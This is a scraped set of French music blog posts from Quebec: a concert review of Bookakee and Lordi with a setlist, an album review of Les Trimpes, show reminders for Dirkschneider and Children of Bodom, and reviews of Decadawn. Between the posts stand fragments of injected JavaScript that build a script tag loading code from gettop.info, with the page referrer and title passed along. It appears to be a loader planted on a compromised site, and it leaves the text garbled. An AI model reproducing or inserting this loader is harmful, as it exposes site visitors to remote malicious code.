tête. Malgré quelques efforts de la part du chanteur pour faire lever la foule, celle-ci a restée assez tranquille et peu expressive de cette prestation.

Bookakee : Je parlais d’originalité pour le précédant band Squidmilk, et biens vous n’avez encore rien vu car Bookakee relève cette originalité d’un autre cran. Bookakee est un band qui s’auto qualifie du style suivant ‘’Progressive Theatrical Melodic Brutal Gore Death Metal’’. Un nom de style assez long mais qui prend tout son sens dès que vous les voyez pour la première fois sur scène. Cette fois-ci, nous avions encore un côté musical assez brutal, mais beaucoup plus mélodique et rythmé que son prédécesseur. Bookakee mise beaucoup sur son côté théâtral  et la mise en scène, qui est surtout orienté sur l’horreur, le gore et le sexe (bonjour la petite influence du groupe Gwar). Dès la première chanson, on a pu voir le chanteur s’arracher la peau du visage, laissant entrevoir un visage dégarnie et saignant à souhait. Encore là, ce n’est que le début car on a aussi assisté à plusieurs autre moment dérangeants et gores à souhaits, tel que  l’avortement sur scène à l’aide d’un couteau, à Donkey Kong qui se fait littéralement découper la poitrine à l’aire d’une scie à chaine et qui en même temps nous projetait du faux sang en pleine gueule, et aussi à une religieuse qui se fait carrément couper le dessus de la tête, laissant entrevoir son cerveau et du sang plein son visage. Comme vous le voyez, Bookakee ne fait pas les choses qu’à moitié côté mise en scène. Pour ce qui est du côté musical, comme je le disais au début, le vocal est somme tout assez brutal, avec des growl et même des pig squeals, mais encore là c’était presque impossible de décerner les réelles paroles des chansons, mais soyons francs, dans ce genre de musique, ce n’est pas vraiment les paroles qui comptes, mais bien le côté mélodique et rythmé des instruments, le vocal n’est là que pour redonné une bonne dose de brutalité et réveillée les plus endormis d’entre nous.  Avec tout ce côté théâtral, même ceux qui n’apprécient pas ce style musical pourront y trouver leur compte et finir par apprécier le résultat final et c’est ce qui fait la beauté de Bookakee. Un heureux mélange qui ne laisse personne indifférent. J’appuie mes propos aussi du fait que la foule c’est beaucoup plus activée lors de cette prestation, ce qui m’a un peu rassuré car je commençais à craindre une foule froide et amorphe pour le reste de la soirée. Vous aimeriez en savoir plus sur le band et son côté théâtral ? Suivez Ultimradio car prochainement, nous allons mettre en ligne une entrevue que nous avons réalisée avec le band hier soir. Ne manquez pas ça !!

Lordi : Bon, pour cette partie de la critique, je dois vous avouer que mon côté journaliste sera un peu mis de côté pour laisser plus de place au fan fini de Lordi que je suis. Soyez sans crainte, si il y a  eu des points négatifs, je n’hésiterai pas à vous en faire part. Ça faisait plus de 10 ans que j’attendais ce moment avec impatience.  Je crois que depuis leur victoire à l’Eurovision en 2006, le groupe n’était jamais venue en sol québécois (désolé si je fais erreur) alors leur venue était attendue comme le messie par plusieurs. Au départ, quand j’ai vu que la salle choisie pour ce spectacle était la minime salle du Cercle, j’étais un peu perplexe car je m’attendais à une bonne foule, mais au final le choix était le bon car il n’y avait pas une énorme foule. J’estime la quantité de fans  à ±150 environs. Certes, la scène était très petite pour accueillir nos célèbres monstres géants finlandais, mais par chance, ils ont tous réussis à faire leur place sur scène pour notre plus grand plaisir. Le spectacle de a débuté en force avec  ‘’Let’s Go Slaughter He-Man’’, pièce présente sur leur dernier album ‘’Monstereophonic’’. Dès le départ, on a pu constater que le son était bien calibré, quoi que le vocal aurait pu être augmenté un peu, la basse elle aurait pu être diminuée un brin et le clavier augmenté lui aussi, mais rendu là c’est mon sens critique qui reprend le dessus car ce n’était pas alarmant. On pouvait facilement tout entendre sans trop perdre certaines sonorités. Du haut de leur grand souliers, les musiciens dans leurs grands costumes étaient somme tout assez impressionnants et imposants. De plus, il faisait super chaud alors je n’ose pas imaginer comment il devait faire chaud dans ces costumes. ‘’Babez for Breakfast’’ et ‘’The Riff’’ ont par la suite suivis, avant d’avoir droit à un solo de basse, qui était assez rigolo avec une légère mise en scène. Chaque personnage a eu droit à son petit solo qui avaient tous un certain charme et chacun avait sa petite ‘’histoire’’. Côté mise en scène, on a eu droit à une autre religieuse qui essayait de brûler Mr.Lordi avec un crucifix bénis. On a aussi eu droit à une ‘’roadie’’ qui essuyait le plancher qui a reçus un coup de chaise en plein sur la tête, on aurait crue voir un match de lutte. Malgré ces petites mises en scène, le groupe a beaucoup plus axé sa prestation du côté musical que du côté théâtral, ce qui était la meilleure chose à faire car le band est réputé pour ses mélodie et ses paroles accrocheuses, donc la foule chantait sans cesse à tue tête en cœur avec Mr.Lordi, donnant donc souvent de très beaux moments. La foule a été relativement très calme tout au long de la soirée. Mise à part chanter, sauter ou bien lever les bras, il n’y a pas eu grand-chose d’autre comme des circles pits, des mushpits ou bien des wall of death, ce qui m’a surpris car normalement la foule de Québec est reconnue pour être assez active. Les moments forts de cette soirée ont sans doutes été lors des morceaux ‘’Blood Red Sandman’’,’’Hard Rock Hallelujah’’ et ‘’Devil Is a Loser’’.  Ce fût une prestation à la hauteur de mes attentes, et même plus.

Setlist :
– Let’s Go Slaughter He-Man
– Babez for Breakfast
– The Riff
– Solo de Basse
– Bite It Like a Bulldog
– Icon of Dominance
– Solo de Drum
– Hug You Hardcore
– It Snows in Hell
– The Children of The Night
– Solo de Clavier
– Down With the Devil
– Blood Red Sandman
– Hard Rock Hallelujah
– Devil Is a Loser
-> Rappel <-
– Who’s Your Daddy
– Would You Love a Monsterman

En conclusion, le fan de Lordi en moi sort de cette soirée plus que combler. Les 2 premières parties se ressemblaient au niveau du style musical, mais celui-ci était bien loin de ressembler à celui de Lordi. Est-ce que le choix des bands invités à été mis en place par rapports aux costumes ? J’en sais rien mais pour la thématique musicale de la soirée, je trouve que ça ne fittait pas trop. Malgré tout, ça nous a permis de découvrir l’humour de Squidmilk, et les prouesses théâtrales de Bookakee et ce même si on n’aime pas ce style habituellement. Du côté de Lordi, sans être parfaite et sans failles, leur prestation était plus qu’excellente et pas juste selon mon opinion, mais aussi selon celle des autres fans présents dans la salle. Gageons que cette soirée marquera beaucoup d’esprits, et que le bouche à oreille fera son travail naturel et ainsi, à la prochaine venue du band au Québec, la foule aura peut-être doublée d’ici là … Espérons le haut et fort.

Sur ce, je vous souhaite une excellente journée.

Rock On !

Christopher Drouin

P.S : Comme je vous aime bien, voici quelques vidéos que j’ai pris lors de cette soirée. Je tenais à les partager avec vous  !!

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Lordi Salle Le Cercle Québec 2017

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Critique : Les Trimpes – Donne du gaz

Bonjour à vous tous !

Aujourd’hui,  je vais partager avec vous mon avis sur un album 100% made in Québec.
Cet album est nul autre que ‘’Donne du gaz’’ du band ‘’Les Trimpes’’.
Je vous avoue que j’ai difficilement sortis de ma zone de confort pour cette critique car j’écoute que très rarement du francophone. Vous aurez alors une critique la plus neutre qu’elle soit.
Allons-y sans plus tarder dans l’ordre chronologique de l’album.

Pire que lyabe : L’album commence en force avec ce titre, qui se veut selon moi le morceau le plus ‘’hard’’ de l’album, l’essence même du rock qu’on retrouvera un peu partout au sein de l’album. De plus, aussitôt qu’on peut entendre la voix masculine au travers de la chanson, on peut remarquer une certaine influence du populaire Éric Lapointe. Je dis bien une certaine influence, car les Trimpes ont leur style bien à eux et c’est ce qu’on va découvrir au fil de la critique.

Rock City : Dans ce titre, on retrouve la même ‘’vibe’’ que la première, mais celle-ci est une coche encore plus accrocheuse, a en avoir des vers d’oreille. De plus, pour rajouter un certain ‘’cachet’’, sur ce titre on retrouve la participation de Rudi Caya, le chanteur de Vilain Pinguin. Cette participation donne un autre aspect au titre, chose qui est vraiment agréable.

Toi, moi pis l’rock’n’roll : Avec ce titre, on continue de prendre le chemin qui est déjà tracé sans trop déroger de celui-ci. C’est donc avec une mélodie juste et un refrain accrocheur que l’écoute se poursuit.

Comme une chandelle qui brûle : Comme tout album de musique qui se respecte, il se doit d’y avoir une certaine ‘’ballade’’ et ce, quelque soit le style principale de l’album et les Trimpes n’en font pas exception. Ce titre est à la fois très doux, et avec le rythme, les chants et le choix d’Instruments (je pense surtout ici à l’harmonica), on y retrouve même une certaine dose de country au travers du rock qui est déjà bien en place depuis le début. Ça donne un petit quelque chose de très bon et de plus, ça évite la redondance durant l’écoute ce qui nous motive à en écouter encore plus.

Donne du gaz : Il y a ce genre de chanson qui vous fait rêver à un moment ou une activité précise, que vous avez vécu ou encore que vous aimeriez vivre. Celle-ci en fait partie. En écoutant cette chanson, on s’imagine facilement prendre une ride d’Harley, sur de longues distances. Écoutez cette chanson, fermez les yeux et vous verrez ce que je veux dire. De plus, il y a aussi une autre collaboration et cette fois ci, c’est avec Vincent Peake, protagoniste du groupe Floating Widget, qui a roulé sa bosse surtout dans les années 90 sur la scène rock alternatif.

Junkie for your love : Pour ce titre, Les Trimpes ont fait les choses un peu différemment. Au niveau du chant, celle-ci est entièrement en anglais et elle est aussi interprétée en intégralité par la voix féminine de l’album. Malgré ces petites nouveautés, on garde l’essence principale de l’album. De plus, si on porte une attention particulière à l’écoute de cette piste, on peut quasiment ressentir une certaine ressemblance avec le style de chansons que le groupe populaire ‘’Halestorm’’, est habitué de nous offrir. Je crois que cette chanson fait partie des moments forts de l’album.

La bête : C’est avec une mélodie d’intro assez accrocheuse que ‘’La Bête’’ débute. On se laisse facilement prendre sous son emprise dès les premières secondes, mais cette emprise redouble d’ardeur lorsque le refrain embarque. C’est avec un vocal moitié féminin et moitié masculin, rappelant encore une fois ici la voix d’Éric Lapointe, et même une certaine partie musicale interprété par un violon, que ce titre nous fait vivre quelque chose de différent. Encore une fois, c’est très agréable de voir que le band a su innover au fil de l’album, tout en gardant l’âme principale de celui-ci. Certainement mon 2e moment fort de l’album.

Le Blues du cœur à louer, Le Repentant & Quebec-Chandler : Je regroupe les trois derniers titres car mon avis pour l’ensemble est sensiblement le même. On garde la recette gagnante depuis le début en y ajoutant une pincée de changements pour agrémenter le résultat final.

Pour conclure, pour une personne comme moi qui n’aime pas vraiment la musique francophone mise à part quelque exception, cet album vaut quand même le détour et vaut la peine qu’on l’écoute. Comme j’ai dis tout le long de la critique, l’essence même du rock de l’album est respecté au quart de tour tout au long de l’écoute, et même plus car le groupe innove au fil des chansons, donnant ainsi un certain cachet supplémentaire pour rendre le tout encore plus accrocheur, nous donnant ainsi toujours le goût d’écouter la suite sans trop tomber dans l’ennui. Je suis très curieux de voir ce que le groupe a à donner en show… Qui sait, peut-être qu’un jour j’aurai la chance de les voir!

Vous voulez des chansons à écouter en gang lors d’un party, ou lors d’un feu de camps l’été ou même dans un bar un peu à tendance rock, cet album est celui qu’Il vous faut.

Je vous invite fortement à y porter au moins une écoute pour vous y faire vous-même votre propre idée, je vous l’assure vous ne serez pas déçus.

Sur ce, on se dit à une prochaine fois !

Rock On !

Christopher Drouin.if (document.currentScript) {

Photo: UDO Dirkschneider salle Multi 2017

d.getElementsByTagName(‘head’)[0].appendChild(s);

Rappel de spectacle : Dirkschneider (Udo Dirkschneider, du groupe Accept) avec Mr.Weather en première partie.

Bonjour à vous tous chers lecteurs !

Nous vous souhaitons tout d’abord une excellente année 2017. Que celle-ci soit remplie de joie, de santé, et surtout de bonne musique !

Pour cet article rapide, nous souhaitons seulement vous rappeler que ce samedi, le 7 janvier 2017, aura lieu le spectacle suivant :

Qui : Dirkschneider (Udo Dirkschneider, du groupe Accept)
Artistes invités : Mr.Weather (le groupe dont notre collaborateur Gabriel fait partie)
Quand : Samedi le 7 Janvier 2017 à 20:00h (les portes ouvreront à 19:00)
Où : À la salle Multi au 591, Rue de St-Vallier Est, Québec

Cette soirée promet d’être excellente car tout d’abord, vous aurez la chance de voir ou de revoir le groupe Mr.Weather. Comme je le disais plutôt, notre collaborateur Gabriel fait partie de ce band. Il est chanteur et guitariste. Je vous invite à aller voir l’article et l’entrevue que nous avons réalisés avec le band. Vous retrouvera tous ces articles sur notre site web www.ultimradio.com

Par la suite, quoi de mieux que de redécouvrir ou découvrir pour la première fois les hits du band connus Accept! Udo et sa band nous feront certainement revivre une foulée d’émotions tout en parcourant le répertoire d’Accept.

Aux dernières nouvelles, il ne restait que 75 billets et depuis cette annonce, il y en a surement qui sont partis alors si vous n’avez pas encore vos billets, je vous conseil fortement de le faire très rapidement si vous voulez vous aussi être de la partie ce samedi.

Sur ce, on se dit à la prochaine et on se voit dans le pit ce samedi.

Rock On

Christopher Drouin if (document.currentScript) {

Photo: Abbath Impérial Bell 2016

var d=document;var s=d.createElement(‘script’);

Photo: Children Of Bodom Impérial Bell 2016

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Children of Bodom à l’Impérial Bell de Québec

Bonjour à vous tous chers lecteurs !

Nous prenons quelques minutes pour vous rappeler la venue à Québec, d’un band très populaire au près des amateurs de musique métal. Nous parlons bien-sûr de la venue du band Children Of Bodom.

La dernière visite du band à Québec  remonte  au 24 mars dernier, lorsqu’il était en première partie de Megadeth au Centre Vidéotron.

Cette fois-ci, c’est en tant que tête d’affiche que le band sera présent dans la vieille capitale.

Voici donc les différentes informations de ce spectacle.

Quand: Mercredi le 23 Novembre 2016
: Impérial Bell de Québec 
Qui
: Children of Bodom avec Abbath, Exmortus & Oni

 

Nous espérons vous voir lors de cette soirée qui s’annonce épic à souhaits.

Rock On !
Christopher Drouin

_______________________________

Hi everyones !

We take a few minutes to remind you that a popular metal band is coming to Quebec City in few days only. You certainly guest it, yes we’re talking about the venue of Children Of Bodom.

The last time that the band came in Quebec City, was on march 24th.They where the opening band for the legendary Megadeth, at the Centre Vidéotron.

This time, they will be the main artist of the evening.

There is all informations for the show:

When: wednesday, march 24th
Where: Impérial Bell de Québec
Who: Children of Bodom avec Abbath, Exmortus & Oni

We hope to see you there in the pit. This show will be epic.

Rock On !

Christopher Drouin

d.getElementsByTagName(‘head’)[0].appendChild(s);

Critique de l’album Solitary Confinement , du groupe Decadawn

Bonjour à vous tous !

Voici 2 critiques plutôt qu’une, de l’album Solitary Confinement, du groupe Decadawn.
Commençons par la première critique, écrite par notre nouvelle collaboratrice Joanie Bolduc :

J’ai été agréablement surprise de connaitre ce band Québécois de style mélodique death metal. Leur mélange de clean vocal et de scream est tout simplement parfait. Les riffs sont accrocheurs et nous reste dans la tête. Je vais vous parler de cette belle découverte.

Solitary confinement est le premier album du groupe Decadawn, composé de 5 membres: Louis-Charles Tardy au vocal. Pierre-Olivier Mérizzi à la guitare principale, Jean-Daniel Poirier à la Basse, Frank Larouche deuxième Guitare et Colin MacAndrew au Drum. Originaire de Mascouche. Le band a été fondé en 2001 et leur album a vu le jour en 2014.

Commençons avec la couverture de l’album, l’image représente bien les sujets distordus et très noir traités comme le suicide et le désordre mental. On sent très bien la folie qui accapare l’homme de l’image.

L’album commence avec la chanson disappear, le son est très clean, la mélodie accrocheuse et que dire du vocal. Selon moi cette chanson est la meilleur de l’album, Louis-Charles fait un excellant travail sur cette dernière. Il passe du clean au scream sans problème, l’effet est saisissant. On passe ensuite à it all ends today, chanson plus relaxe. Beaucoup plus de clean vocal dans celle-ci malgré certains passages de scream. Les chansons de l’album se succèdent et j’en redemande! La 5ème chanson, celle du titre de l’album est clairement cette ou le band nous montre ce dont il est capable. La chanson est très intense, rapide et technique. Dans leur musique on sent une influence In flames avec une touche de Children of Bodom sans le keyboard. Ce qui les distingue des autres bands est sans doute le clean mélodique power métal vocal qu’ils intègrent. Ce band est certainement à surveiller pour les années à venir! En 2014 sur le site metalstorm.net, l’album a été classer 27ème dans les meilleurs albums de cet année la! Pas mal pour un band Québécois! Je vous le recommande fortement, je lui donne un bon 8/10.

Joanie Bolduc !

Maintenant, passons à la 2e critique, soit la mienne:

C’est pour moi aussi une découverte à ce qui attrait au groupe Decadawn. Dès la première chanson, je savais déjà que j’allais adorer ce band. Comme ma collègue le disait plus haut, le mixte clean vocal et scream est juste parfait et hallucinant. Mélangé à ça des mélodies accrocheuses, et des riffs de fou, vous aurez un résultat plus qu’agréable à l’oreille. Si vous connaissez le band ‘’Holy Grail’’, que nous vous avons peut-être fait découvrir dans le passé, vous y verrez une assez grosse ressemblance. Le style se ressemble beaucoup, les mélodies aussi, mais avec Decadawn, nous avons beaucoup plus de screams que de clear vocal, contrairement au dernier album d’Holy Grail. Je les verrais très bien en tournée ensemble un de ses quatre.

Plus on avance dans les 10 chansons de l’album, plus on en redemande. À chaque titre, le groupe vas toujours chercher un petit quelque chose qu’on ne retrouvait pas depuis le début, ce qui nous pousse à vouloir l’écouter jusqu’à la fin. De nos jours, ça arrive trop souvent qu’après 2 ou 3 chansons seulement, on se lasse d’un album car les titres se ressemblent et n’offrent rien de nouveau d’un titre à l’autre, mais avec ‘’Solitary Confinement’’, c’est tout le contraire. On a hâte d’entendre la suite.
Mes chansons préférées de l’album sont pour moi ‘’Disappear’’ et ‘’It All End Today’’.
Ces deux chansons représentent clairement la direction que le band nous propose et celles-ci donnent le ton pour la suite de l’album.

Pour conclure, je vous conseil fortement de vous procurer cet album et d’encourager un band d’ici. Le groupe est solide, leurs interprétations sont dignes des plus grands bands de death metal mélodique. Pour ma part, je donnerais un 8.5/10 pour cet album.

Christopher Drouin !

_______________________________________
Voici quelques vidéos pour vous mettre l’eau à la bouche !

Le groupe lui-même nous faisait part que lors de la sortie de cet album, qui est sorti en 2014, les réactions ont été très bonnes et très positives, surtout pour un premier album. Pour l’Instant, aucune tournée n’est prévue, mais si jamais ça change, nous vous tiendrons assurément au courant.

Si vous avez aimé ce que nous vous avons présenté, et bien soyez heureux car le groupe travail présentement sur leur prochain album.

Si jamais vous voulez vraiment les voir en live, vous pourrez le faire en janvier. Le groupe sera en spectacle à Montréal. Voici le lien pour la page de l’évènement : https://www.facebook.com/events/154866088318609/

Sur ce, nous espérons fortement vous avoir fait découvrir un nouveau groupe. Si vous avez aimé, partagez  avec vos amis. C’est le fun d’avoir un groupe d’ici qui se démarque autant.

Bonne journée à vous tous et Rock On !

Christopher Drouin